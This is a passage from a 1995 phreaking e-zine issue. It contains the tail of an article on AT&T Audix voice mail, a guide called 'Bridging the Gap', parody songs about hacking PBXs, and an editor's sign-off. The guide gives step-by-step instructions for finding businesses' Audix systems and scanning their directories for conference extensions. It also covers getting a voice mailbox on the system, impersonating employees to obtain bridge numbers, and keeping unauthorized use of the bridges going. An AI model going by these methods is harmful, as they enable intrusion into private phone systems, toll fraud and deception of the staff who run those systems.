|||
|
|
A second recording is: "Enter password and pound sign", the "and pound sign"
|
|||
|
|
is the same fragment as in the first one. Since AT&T sells it's Audix system
|
|||
|
|
in nearly 80 countries, there are a couple of different language tapes also.
|
|||
|
|
So don't be surprised if you encounter a Spanish or Japanese Audix VMS.
|
|||
|
|
Currently AT&T offers ten language tapes and the Definity Audix can support
|
|||
|
|
up to nine different language tapes simultaneously.
|
|||
|
|
|
|||
|
|
|
|||
|
|
"So if it's an Audix voice mail then there's a Definity PBX, right? "
|
|||
|
|
|
|||
|
|
Wrong. Even though it fits the Definity PBX like a glove, it can be integrated
|
|||
|
|
with other switches. Some of the most common are:
|
|||
|
|
|
|||
|
|
- G3I - System 25
|
|||
|
|
- G3S - System 75
|
|||
|
|
- G3R - System 85
|
|||
|
|
|
|||
|
|
I'm not sure about NorTel switches such as the SL-1, some people say yes,
|
|||
|
|
while others say that only AT&T switches can be integrated with Audix. If
|
|||
|
|
anyone knows, please let me know. Comments or suggestions are welcome.
|
|||
|
|
|
|||
|
|
|
|||
|
|
- Boba Fett
|
|||
|
|
|
|||
|
|
<EOF>
|
|||
|
|
<05/23/95>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
/\
|
|||
|
|
\/
|
|||
|
|
Bridging the Gap
|
|||
|
|
/\-------------------------/\
|
|||
|
|
\/-------------------------\/
|
|||
|
|
Eddie Van Halen
|
|||
|
|
/\
|
|||
|
|
\/
|
|||
|
|
|
|||
|
|
|
|||
|
|
INTRODUCTION
|
|||
|
|
------------
|
|||
|
|
First of all I wrote this because for one thing I am SICK AND TIRED of sitting
|
|||
|
|
on irc and seeing "k0nPhiNf0!?" pumped through my terminal every five seconds.
|
|||
|
|
Then,once they get the k0nPh iNf0, I am forced to constantly hear from the
|
|||
|
|
k0nPh people about how "DiZ k0nPh sUx!". People give me k0nPh info all the
|
|||
|
|
time but I NEVER call into them. Why? Because these days,they DO suck. It
|
|||
|
|
seems the underground world have completely forgotten about what use to be
|
|||
|
|
the best way to conference - BRIDGE's.
|
|||
|
|
|
|||
|
|
|
|||
|
|
ABOUT BRIDGES
|
|||
|
|
-------------
|
|||
|
|
I'm sure everyone reading this knows what a bridge is. Whether they know the
|
|||
|
|
best way to get them is another thing. I do, however, run across the
|
|||
|
|
occasional irc'er that /msgs me with "whats a bridge?" when I bring up the
|
|||
|
|
subject.
|
|||
|
|
|
|||
|
|
Bridges are just about the same as k0nPhz, except they are usually owned and
|
|||
|
|
used by big businesses and schools on their own telephone equipment. This
|
|||
|
|
equipment is usually integrated into their voice mail and/or PBX computers
|
|||
|
|
and allows the company or school to hold teleconferences without relying on
|
|||
|
|
the national teleconference providers.
|
|||
|
|
|
|||
|
|
For those out there (if any?) that remember the 904-348 bridge, it was a
|
|||
|
|
System 75 PBX bridge used by a home school, where the students would call in
|
|||
|
|
in the daytime and take tests and attend classes. The way it was used was as
|
|||
|
|
follows:
|
|||
|
|
|
|||
|
|
You would dial 348-XX00 to 348-XX19. That was ONE of the bridges.
|
|||
|
|
Anybody that connected to any number from 00 to 19 would be connected
|
|||
|
|
to the bridge. If two people tried to connect to the same number, it
|
|||
|
|
would be busy. Thus, it had 20 lines. A second bridge was reached at
|
|||
|
|
348-XX20 to 348-XX29. This was off the same system, but gave you a
|
|||
|
|
different bridge with 10 lines. Yet another bridge could be found at
|
|||
|
|
348-XX30 to 348-XX69 off the same system.
|
|||
|
|
|
|||
|
|
You could call in during the daytime and mess with the teachers and kids or
|
|||
|
|
whatever, but occasionally they would hang you up, or call you back or
|
|||
|
|
something. This one went down because it wasn't blocked from collect calls,
|
|||
|
|
and the number got very widespread throughout the k0d3lyN3 and BBS world and
|
|||
|
|
was constantly collect-called by lamers who didn't know how to phreak. It is,
|
|||
|
|
however, occasionally up for the students to use, but goes down as soon class
|
|||
|
|
is over.
|
|||
|
|
|
|||
|
|
FINDING A BRIDGE.
|
|||
|
|
-----------------
|
|||
|
|
Finding a bridge use to be the easiest thing for me. It used to be, like,
|
|||
|
|
WHAT I DID. I would put one up on my codeline, and spread it to the others,
|
|||
|
|
and would call into QSD or Lutz or something about 30 minutes afterward
|
|||
|
|
and get messages from people who I didn't even know saying "Hey,man,thanx
|
|||
|
|
for puttin up that bridge!". These days I don't even bother. I don't WANT
|
|||
|
|
to talk to half these idiots that are around today.
|
|||
|
|
|
|||
|
|
Anyway, lets say you want to find a bridge. Go through the phonebook and look
|
|||
|
|
up the all the big businesses. Call the main numbers that you find after
|
|||
|
|
hours and find out which ones have voice mail systems. In this article, I
|
|||
|
|
will focus on the Audix voicemail system made by AT&T so look for those. To
|
|||
|
|
tell if your target is using Audix, press *8 during the greet, and if it says
|
|||
|
|
"Enter the four digit extension and pound sign." you have found one. A
|
|||
|
|
complete guide to hacking Audix voice mail can be found in CoTNo #1,
|
|||
|
|
article #1. Railroad companies like CSX and AT&T owned companies like
|
|||
|
|
Transtech, or Card Services often have Audix systems with bridges.
|
|||
|
|
|
|||
|
|
Once you have the targeted Audix system,you need to start scanning for the
|
|||
|
|
system extensions. Hit *6 for the names directory and try entering
|
|||
|
|
CONFERENCE, BRIDGE, or TELE. You COULD possibly get the actual extension to
|
|||
|
|
the bridge spit out right at you (as with CSX's system),or at least most
|
|||
|
|
systems have that extension where you hear the person state their name
|
|||
|
|
"Conference Planning". If this is the case,you need to get a voice mail
|
|||
|
|
box off the system and send a message to whatever extension Conference
|
|||
|
|
Planning is saying something like "Yes, I need a conference set up for
|
|||
|
|
such and such a date & such and such a time". This will more than likely
|
|||
|
|
work and Conference Planning will respond usually with either "No problem,
|
|||
|
|
the teleconference bridge is at XXXX" or "All we need is the PIN
|
|||
|
|
number you want."
|
|||
|
|
|
|||
|
|
However, a lot of systems do not have their *6 directory system configured
|
|||
|
|
very good at all, so you might want to try scanning all the XX00 and XX99
|
|||
|
|
and find out where all the computer-related extensions are located at.
|
|||
|
|
Or you might want to social engineer it out of one of the people located
|
|||
|
|
at an extension. Try calling from within your box and acting like you work
|
|||
|
|
there.
|
|||
|
|
|
|||
|
|
Once you have found what you think is the bridge,you need to test it out
|
|||
|
|
with a friend. If he calls into the same extension and gets a busy signal,
|
|||
|
|
you may want tell him to try the next extension up. If the bridge is
|
|||
|
|
multi-lined, have him figure out how many lines the bridge has and make
|
|||
|
|
sure the lines are all going to the same bridge and not 3 different
|
|||
|
|
bridges or something. Note that if you are scanning on a Railroad
|
|||
|
|
companies system, you will sometimes come to an extension you might think
|
|||
|
|
is a bridge and end up to be dispatchers. So once you sign on to what you
|
|||
|
|
believe is the bridge,hit a few dtmf tones and make sure you don't hear
|
|||
|
|
someone say "You done hittin funny buttons!!!" or "dispatcher,mike."
|
|||
|
|
|
|||
|
|
SECURITY ON A BRIDGE.
|
|||
|
|
---------------------
|
|||
|
|
Security on a bridge is a lot different than on an alliance or on a k0nPh.
|
|||
|
|
You usually don't have to worry about it getting cancelled and the bridge
|
|||
|
|
usually will not ever go down if you don't third-party or collect call to
|
|||
|
|
it. You are not dealing with the phone company here, you are dealing
|
|||
|
|
with whatever business owns it, and if they detect a lot of activity on
|
|||
|
|
the extension, they will usually either warn you to leave by recording the
|
|||
|
|
conversations and playing them back to you, or just change the extension.
|
|||
|
|
DO expect to be dealing with the business communication security person,
|
|||
|
|
though, at one time or another. They will usually talk to you and explain to
|
|||
|
|
you why they need you to leave, and most of the time I found out, it wasn't
|
|||
|
|
because of the people using their bridge, it was because of the collect-
|
|||
|
|
calling, third party billing or the fact that people were using it via the
|
|||
|
|
800 number and the company was having to pick up the tab. I don't recommend
|
|||
|
|
finding a bridge and giving it to the entire world because when you are
|
|||
|
|
not on, you don't know what goes on in the conversation, and if the company
|
|||
|
|
does finally decide to get it investigated, the investigators seem to go
|
|||
|
|
after the same thing every time: the source that gave out the bridge in
|
|||
|
|
the first place.
|
|||
|
|
|
|||
|
|
CONCLUSION
|
|||
|
|
----------
|
|||
|
|
Hopefully you have learned something from all this. With a little time and
|
|||
|
|
patience, you can set up a bridge that will last for weeks, maybe months.
|
|||
|
|
And besides, hacking out a phone system will teach you a lot more than
|
|||
|
|
than setting up a k0nPh off your neighbor's phone terminal. So next time
|
|||
|
|
you see someone flash "k0nPhiNf0!?", tell them to get off there ass and
|
|||
|
|
try hacking one out for a change.
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Elite Music Part V
|
|||
|
|
- Disk Jockey/WR -
|
|||
|
|
|
|||
|
|
|
|||
|
|
Please note the /WR. Until now I have not been in textfiles at large, only
|
|||
|
|
a few given to good friends. There have been other `DJ's out there; as many
|
|||
|
|
as six by my count, so far. So even that my group has had but one member
|
|||
|
|
for over four years, I keep the tag to distinguish myself.
|
|||
|
|
|
|||
|
|
Well, while on a (pretty lame, I must admit) conference with a barrage of
|
|||
|
|
lame people, sending streams of DTMF tones, long belches, humming, and
|
|||
|
|
music down the line, I got an idea. At one point the B-52's `Roam' was
|
|||
|
|
played in the background during a half-intelligent discussion of cellular
|
|||
|
|
telecommunications. These lyrics almost came to me almost immediately, and
|
|||
|
|
these are the results. I intend to record this song for real in a few
|
|||
|
|
months or so; I do have the instrumental of the real song and it would be
|
|||
|
|
somewhat fun to do. Maybe a .AU will be out there on the Web, sometime...
|
|||
|
|
and by that time these lame people might grow up. (But, I can't ask for
|
|||
|
|
everything.)
|
|||
|
|
|
|||
|
|
"Phone Roam"
|
|||
|
|
|
|||
|
|
Roam cyberspace, switching through every carrier
|
|||
|
|
Oh girl won't you lend me one of those codes
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Around the world, the call flags switchboard lights
|
|||
|
|
|
|||
|
|
Roam if you want to, roam around the world
|
|||
|
|
Roam if you want to, without codes, without cards
|
|||
|
|
Roam if you want to, roam around the world
|
|||
|
|
Roam if you want to, without anything but an ESN
|
|||
|
|
|
|||
|
|
Hit conferences where you'll lose your mind
|
|||
|
|
Toners and lamers, leave them all behind
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Around the world, the call flags switchboard lights
|
|||
|
|
|
|||
|
|
Roam if you want to, roam around the world
|
|||
|
|
Roam if you want to, without codes, without cards
|
|||
|
|
Roam if you want to, roam around the world
|
|||
|
|
Roam if you want to, without anything but an ESN
|
|||
|
|
|
|||
|
|
Go ahead and roam, go ahead and roam
|
|||
|
|
|
|||
|
|
Scan all you can while the Feds trace you
|
|||
|
|
Hack up PBXs till your hands get tired
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Around the world, the call flags switchboard lights
|
|||
|
|
|
|||
|
|
Roam if you want to, roam around the world
|
|||
|
|
Roam if you want to, without codes, without cards
|
|||
|
|
Roam if you want to, roam around the world
|
|||
|
|
Roam if you want to, without anything but an ESN
|
|||
|
|
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Take it trunk to trunk, hopping through the satellites
|
|||
|
|
Go ahead and roam, go ahead and roam
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
End of CoTNo #06
|
|||
|
|
|
|||
|
|
I know you expect some snappy ending as usual to another successful issue
|
|||
|
|
of Communications of The New Order, but considering the grimness of much
|
|||
|
|
of this issue I don't think it would be appropriate. Despite all of the
|
|||
|
|
bad news that was presented in this issue, I hope that everyone will
|
|||
|
|
"keep the faith", as it were. Explore, learn, educate. But don't do
|
|||
|
|
anything stupid. The powers that be are becoming increasingly intent
|
|||
|
|
upon stopping those who are labeled as "hackers". And everyday, there
|
|||
|
|
are more of us for them to stop. Everyday, we are being introduced to
|
|||
|
|
new technologies that few people understand, and few people want to
|
|||
|
|
understand. Our desire to understand can be achieved, but we must be
|
|||
|
|
careful.
|
|||
|
|
|
|||
|
|
Even though you just read this issue's Elite Music, I thought I would
|
|||
|
|
finish off with another song that has special significance to me. This
|
|||
|
|
showed up in my e-mail the other day and it really made me think. I
|
|||
|
|
hope it is as meaningful to you as it was for me...
|
|||
|
|
|
|||
|
|
|
|||
|
|
TNO MAN
|
|||
|
|
-------
|
|||
|
|
To the Tune of Desperado, by The Eagles
|
|||
|
|
|
|||
|
|
|
|||
|
|
TNO man, why don't you come to your senses?
|
|||
|
|
You been out jumping' fences into those Bell yards.
|
|||
|
|
Oh you're a smart one, I know that you got your reasons,
|
|||
|
|
these things that are pleasin' can hurt you somehow.
|
|||
|
|
|
|||
|
|
Don't you hack on those old .mil sites,
|
|||
|
|
they'll catch you if you're lazy,
|
|||
|
|
you know diverting twice is always your best bet.
|
|||
|
|
Now it seems to me some eleet things
|
|||
|
|
have been shown upon your screen
|
|||
|
|
but you only want the ones that you can't hack.
|
|||
|
|
|
|||
|
|
TNO man, oh you ain't gettin' no younger,
|
|||
|
|
your hunger for knowledge, it's drivin' you on.
|
|||
|
|
And hacking, oh hacking, well that's just some people talkin',
|
|||
|
|
your prison is waitin' at the end of the line.
|
|||
|
|
|
|||
|
|
Don't your power get old on the Internet?
|
|||
|
|
The account won't die and the root won't mind,
|
|||
|
|
it's hard to tell the night time from the day.
|
|||
|
|
You're losin' all your highs and lows,
|
|||
|
|
ain't it funny how the feelin' goes away?
|
|||
|
|
|
|||
|
|
TNO man, why don't you come to your senses?
|
|||
|
|
Come down from your firewalls, open the gateway.
|
|||
|
|
It may be laming' but there's a job waiting for you.
|
|||
|
|
You better let somebody hire you LET SOMEBODY HIRE YOU
|
|||
|
|
you better let somebody hire you before it's too late.
|
|||
|
|
|
|||
|
|
- Don Henley, Glenn Frey and the Voyager
|
|||
|
|
|